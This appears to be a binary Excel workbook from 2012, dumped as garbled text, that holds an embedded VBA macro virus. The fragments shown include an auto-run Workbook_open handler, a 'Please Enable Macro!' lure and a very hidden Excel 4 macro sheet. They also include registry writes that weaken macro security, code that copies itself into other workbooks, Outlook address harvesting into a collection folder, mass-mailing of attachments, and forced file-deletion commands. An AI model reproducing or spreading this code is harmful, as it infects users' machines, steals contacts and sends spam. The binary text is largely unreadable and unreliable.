邢唷>  % $!"#&)'(Root Entry Ff鮨倝勞p﹤ 惱2Workbook[_VBA_PROJECT_CUR"`冼貗勞%曎嬂VBA`冼貗勞]勝嬂  衫\pydh(u7b Ba=" ThisWorkbook=i僌!8X@"1啑媅SO1啑媅SO1啑媅SO1啑媅SO1啑媅SO1啑媅SO1啑媅SO1啑媅SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)                  , * + ) 8@@ 8@ 8  @ 8@@ 8@ 8  @ 8!@@ 8 8 8@ 8@ 8 8!@ 8@ @ 8!@ @ (  0 8@ 8 @ 8`@ 8a@ @ 8@ @ 8!@ @ 8!a@ @ 8!@ @ 8!!@ @ 8 @  ` Macro1Sheet13Sheet2GSheet3VV! :! :! :! :"f[b 7啒 7Ye脋XT 7廭鱏 7覻 T 7'`+R 7f[鱏 7 Tb閪 7朮T~{ T 7 T{樺w 710 T耂[崉v袕≧XT{,gb(W孮剉'Yf[u N珟SOeP穅0 7.207uP[3000s|b閪緩0R15R35襶 sYP[1600s|b閪緩0R9R20襶剉f[u筫颯 T耂[0 7#30T枂0Ye脋擽EQRZP}Y,g杽v[峂R瓔脋孴芉Y nx軴詋[崉vz)R蹚L0 7"f[b栔v鄗  72012t^ Nwm擽(ub/gf[b柆Qc[曆嵲k[崶b Th 77u 7sY 7 g y cc @ 衫 H  d褚MbP?_*+%"??UBT0甠o(u7bBA B|f.亂(u廩 sQ頃 2012-10-9 7:58:53 Please Enable Macro!BvB悁A邶B7d 4   >@7  衫   d褚MbP?_*+%MjAGFA-AccuSet v52.3S 4dA4PRIV0''''P4(牋7SMTJAGFA-AccuSet v52.3Resolution1200x1200dpiPageSizeLetterPageRegionInputSlotCassetteMirrorPrintFalse" d??U} }  }  } ` } `   @  @ @ @  @ @ @ @ @  @  @   @  @  @ @  @@@@@@@@ 111111     0 + + + ,'~ "?"""#'~ "@"""# '~ "@"""#'~ "@"""# '~ "@ """# )~ *@ ***- '~ ? ! '~ "@ """# '~ "@ """#(~ .@.../&&&&&&&&&&&& $ %%%%% $ %%%%% $ %%%%% $ %%%%%$%%%%% $ %%%%%%%%%%%4t"","T**.****.**""""">@ 7 Sheet1  衫   d褚MbP?_*+%"??U>@7 Sheet2  衫   d褚MbP?_*+%"??U>@7 Sheet3 ThisWorkbookA __SRP_2. __SRP_3 ?Sheet1C  !"#$%&'()*+,-/0123456789:;<=>@ABDEFGHIJKLMNOPQRSTUWXY[]^_`abcdefghijklmnpqrtvwxyz{|}~\-I 駱9#D瑓v{vc罙堽O巙蒊F#惋u驨)rU覂x#惋u驨)rU覂瑓v{vc罙堽O巙蒊ME,[LSS>"`&<^LL LP<0<4<8<<<N0{00020819-0000-0000-C000-000000000046}H(%H凗` %偁 %%*  H )僜h@)!%0(Px 刔xx% 刔x%P@t 0@p @l (t @d 8h8HhTx#HR$*\Rffff*0252481908*\R1*#2a9*\R4*#3b*\R4*#1b$*\Rffff*0J524815ed*\R1*#d7*\R1*#d7< " ( 0@H" PX\`     ] 蚰i⒇ &. &((PROGRAPo &{0002E157-0000-0000-C000-000000000046} \!<!B@ &(.0 &(( \A@Z &(.o畋Attribute VB_Name = "ThisWorkbook" 孊as0{00020P819-0C$0046} |GlobalSpac扚alse dCreatablPred恊claIdTru BExposeTemplateDeriv払ustomizD2Public WithEvents xx @As App ation fxx.琕arHelpIDU-1 P;? Sub _open() P Set)= )On Error Resu覰ex唗4:.Disj yAlerJ= iCall do_whaEndC: Axx_w剓O!ByVal w瀊5'& wb@8Project.References.AddFromGuid _ GUID:="B岴157屃 -P, Major:=5, Mi nA3 幗#`(*#TlX*#&*F忐 't瀨2 `TX幗\6忐r:D#N $1幗X \$ \ >幗#`)*#TlX*#&*F忐 't瀨2 `TX幗\6忐H` $ 0l`X \$ \ lX=2`X\" \$ \ \$  ldFD%$ $ " \$ \ \龝0ldh0 `XT幗\@忐$K) $$ $ d> 1($  \﨨l(*# *1X/ l(*# *1T/ l(*# *1P/ l(*# *1L/ (< (,C  <X  / C  ,T  / C  <P  / C  ,L  / 龝|$H0 lXTPL(<,\ $t\  \l﨨 0Dl 龘@l裏el 龘@l龘@l裏點l@t(l\0   ppzKkQX\ F`%pt$ t p D"\ lXJ/X)tp\ipz$p$ Xtp\4D  DT﨨M:l.%T>D/$ 0$:1(酤]鹥瀨軋6D$lD 2D舕?]鸙$ 24UUUUUU?]鸌瀨'軋寧 2寧?]鸙逮 2鵬?]鸌旫'匎t6D寧U#:l3NDD 4#p50/p5D#P$:43N$$:l5NDD 66D$ 7. 8eD 2D舕UUUUUU?]鹥$ 2配UUUUU? 99軋 :軋鸌寧'逮 2?]鹥旫匎 2匎舤? 99` :`鸌P'@06D瀨軋t#,+D ;D綦99$ :$麿td6D$Ku :l<NDD 4#p蓆d/p5D^D ;DdMl@99$ :$鹀:4=N瀨瀨 4#p0軋/p6D$瀨*$:43N$$:lNDD 66D$$D ;:l<N$$D 66D$ >L4(TLpD$瀨軋寧逮旫匎t`P@00   0 P  0 8   0 H  0   0 0  0   0 H   0  K4$ @4W$ L4" 4$ 4 4" 4$ 4 44$ Q4[ \\A$ : ]鸃5$ %\C \G: %棹L4$ 4 d棹$rU~|  gP    q 9 1 Q I )I!) ! a""""!# Q#y#$# $Q%A$$%%1&i&&i')'Q* (Q (y a  (*(Y) Y+I 1, ,++-+'--1 a.+. ,Y  9!  y t," x$ x xHt $ 0ltp x$ x lp=2tpx$" x$ x x R S>\(`%x$ x d\W< :L ]鸃)x\5<V=[x Tx $ " x$ x xP,$ $tpx\<,F\`:dU%tx$ Xx \Bt C` ,LQ\X)xt`VX <QWX <QXX <QYX <QZX <Q[X <Q\X <Q]X <QY X <Q^ X <Q9_`*#Ta*#P`*#Lb*#H X <Q2TPLHc X <Qd X <QZX <QeX <QfX <Q\X <Q點X4(X,TPLHxt`\l$ XQlx'X:\U%lx \Bl CQXtllt ,LQlp lpTPT 8QlPT @Q點T0,4TtxplXHh $ 0lh` d$ d l`=2h`dx P 5P P 5P P 5P 龝,(lh`dP lhK9DH:L %\$ \ D"H XQDd)\H\h XQ\`!+>`d?C@@ @/@龝龝 @4lhd`@\HD4K 點pz&l ML@< A<F,]35<Opz 點gpzH TBlpzH TBlpzK( FL%H \B CQt$ D ElpzE:LFN<< G:,H F瘙幗:玄I俐`1p6 <幗俐 $pML@ J#件=/件 DHpML@ K$ D ElpzH \BQ羹% FL%羹 CQ[羹 ,C點羹 DH( FL%H \B CQt$ D El$ D El pz1lp FL%H \B C 4L)Hlp^MqdNlp^Mq`:l`ldi件1h)lh逮 <Q點逮K#l\郎H \B ,C)pML@ Kpz@(羹逮lpth\,件<幗俐pK` $ >`1h0` \$ \ l`*1d/`\Y C`` !X $ 0lXT \$ \ lT=2`XT\B '%' %黤0%@:D %\$ \ D"@ l)\@r:D#N $1幗X \$ \ >幗#`%*#TlX*#&*F髫佝<)4棹叁R0`sht縈`Add鱮`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell椒` FormulaR1C1S`UserName\鎌ChrK~`Now%篳Names慰`Excel4MacroSheets煞`Visible隊`xlSheetVeryHidden在` WorkBookName+蝋WorkBookNotOpen赻T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadwTime`ReadOut蟆` CreateFile鬬 search_in_OLe`if_outlook_openi骮DateAdd/6` timeError計`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile鴽`fsF]` Folderexists ` CreateFolder飆`Replacef`AddVbsFile_clear透`AddVbsFile_search鵂` WindowState|頯 xlMaximizedZp`Run_衊vbHide篧` Address_listQ檂get_ten_address``mail_sub`RestoreBeforeSendq+`c4竆`ChDrive% FileExists`Massive_SendMail魝`vbCrLf` Email_Address荑`SubjectRP`Bodyl鴃 CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem苸` olMailItem款`CC荺` Attachments_鈆DeleteAfterSubmit赴`continue` SendEmailě`display`SendKeysN`Wait`objs喗` GetObjectz胉 InstancesOfr輅obj懡` Description ` RadomNine抵`lengthY腵jj裖`kb`RndR蟕md`singleAddress_arr `krr叒`Split)`FullPath+`FileTextg|` OpenTextFileШ`ReadAll繳`FragMark)O`pathf; `aa{\`i_rowz,`i_colx躟Delete竫`xlSheetVisible`Cells峘FontU`Bold凒` ColorIndex魚`del_shtv`rngU蟕del_fragy繾_Defaultj耟xx錩` Workbook_open涐`xx_workbookOpenPZ` References` AddFromGuidA{`GUID鮜Major'`Minor鵤` Worksheet窿` _B_var_Chr\;`_B_str_Environ籬` _B_var_UCasea蝋 _B_var_Time$` _B_var_TrimmT`_B_var_Environ/` _B_var_Mid韕`# Z"H`0!譝黜@丠Y獃0壟>縁ㄤB&\WKl幹閹J)E礵ir__SRP_0 __SRP_1JPROJECTwm}蘟y *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 #HR駱ThisWorkbook0252481908ThisWorkbook9`O Sheet10352481908 Sheet1榒 Sheet20452481908 Sheet2:0 Sheet30552481908 Sheet3lH ToDOLE0J524815ed" ToDOLE`cxH`0!譝黜@丠Y獃0壟>縁ㄤB&\WKl幹閹J)E W諨[穒粅gi}O詮)^l 猏燱H姎J⒍!T銭 Excel+` VBA麾`Win16羱`Win32`Mac巢`VBA6#`工程1p` stdole揱` VBAProject究` Officeu` ThisWorkbook|鉦 _Evaluate賎 Sheet1` Sheet2` Sheet3` VBIDEA`模塊1芻` ToDOLE艥` auto_openV ` Application*` DisplayAlerts赧`Path2` StartupPathi鬬ScreenUpdating! `delete_this_wk}焋copytoworkbooke燻Sheets ` Movemacro4@阘Save捫`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines姭`VBProj宥`VBComp訙` VBComponent蟮`CodeMod}O` DeleteLines 僠 CountOfLines!\`(do_what凗`RestoreAfterOpen隣`(OpenDoor卄(Microsofthobby 璥 ActionJudgeBG` (copystart `wb卂`Workbookk`VBProj1F穈VBProj2G穈 WorkbooksB靈 (copymodule夠` ModuleName#>` FromVBProject6` ToVBProject捪`OverwriteExistingk郹FNameR鸴CompName!宍Sj`SlashPosk#`ExtPosF薫 TempVBComp`Trim@颼 vbNullString` Protection刞vbext_pp_locked蒱`Erro奰Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem楒`Clear閫`Kill佁`Remove媳`Item讂`ExportΟ`FileNamej胉InStrRev膱`Importi臽vbext_ct_Document 哷Lines何`myfile0[y`MyFile琳`FullName袨` WorkbookOpen徠`ShellV譧vbMinimizedFocus`IsAddin~|` SaveCopyAsT鋊Fso陱`RK1形`RK2鹽`RK3椅`RK4遊`KValue1'竊KValue2r #HR J< rstdole>stdole h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`僂OffDic凟Ofic侲瀫攢丒2DF8D04C-5BFA-101B-BDE5E訟AC42圗gram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#僊 1@1.0 Ob伭 LibraryK 伾VBIDE>BI―Eシ瓈157倽怰5.3僐/绹\6E6EXT.OLB0Visual Basic for Applic俛s Extensibilpity +B駱B奣hisWorkbookG T缷isWA缽rkboU 2 HB1B甇 ,B,!9*"B+BB睸h爀et1GS@#俥@巘1H&2N榒U2222R:岕 3 35 3 3 )l醣 ToD@u T9郉OL繷)' c涳) !7brU~~~~~~s  Qwb ModuleName  FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName EH44 A1:F15 Range Value CONFIDENTIAL Delete唧p7篈湺疊R烵w)TMǎ!i|蛟:玀! Mz聦襣.F獪H嘑餦戜j懍僠E篗K:皞.侄?MH{L$來 4scRiPTinG.fiLEsysTeMoBjEcT XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\Security\AccessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORD q  WScript.Shell RegWrite \k4.xls k4.xlsF comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q " q  qX  10:00:00 11:00:00 14:00:00 15:00:00 XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXE .bas <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txt 8D:\Collected_Address\log.txt q  qd  q zF ToDole竑膜烮粁8< Temp \ .! 囝撱繭賭 q @ q ` q  q  q  q  qx 瑓v{vc罙堽O巙蒊#惋u驨)rU覂N7嶣CI'氫Af櫳漀ㄊY'▉'韤蔞籛驢睛伓^鍝r[奮蘂kIM欷豯噫]嘂/M屪塤崽 捊七籋班S!K賞 Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("亂(u廩 sQ頃 虇N瘺I皭翚顮R2 BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBPrmail_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q)8 Q1Hxx Q XThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{DA0220E3-DA8D-4478-AAA4-D949F496C9C8}" Document=ThisWorkbo揔*yrU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~` I>鬔瓳#湴珩    ) A YAQi工程1 VBAProject ThisWorkbookSheet1Sheet2Sheet3模塊1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F 囝撱繭賭C:\WINDOWS\system32\stdole2.tlbstdole  QPL續-鶾藉D轗?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF F醎!鞗F↗skK F鰀燬 @哎u){DFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("亂(u廩 sQ頃 虇N瘺I皭翚顮R2 BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3xx DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF髿2鄄G z F搱~鋔?Ni|鉱,UDF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A49麒遣-F廓 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL q`  q" (樊菇鬡9J5^爊T渏/烠丆岟={镈*9昐 @穌炬MRm/ 囲佺L坬〈鮧DF Workbook_openxx_workbookOpen PROJECT1SummaryInformation(DocumentSummaryInformation8 CompObjjok/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="1E1C181E6866A06AA06AA06AA06A" DPB="5A585C629963996399" GC="969490A6F0DE2DDF2DDFD2"[Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000[Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C 鄥燆鵒h珣+'遲0HPdx  微軟用戶 微軟用戶Microsoft Excel@HZ嬂@ 鷯斖@)賸勞脹諟.摋+,0 PXl t|  微軟中國' Sheet1Sheet2Sheet3 工作表 FMicrosoft Office Excel 工作表Biff8Excel.Sheet.89瞦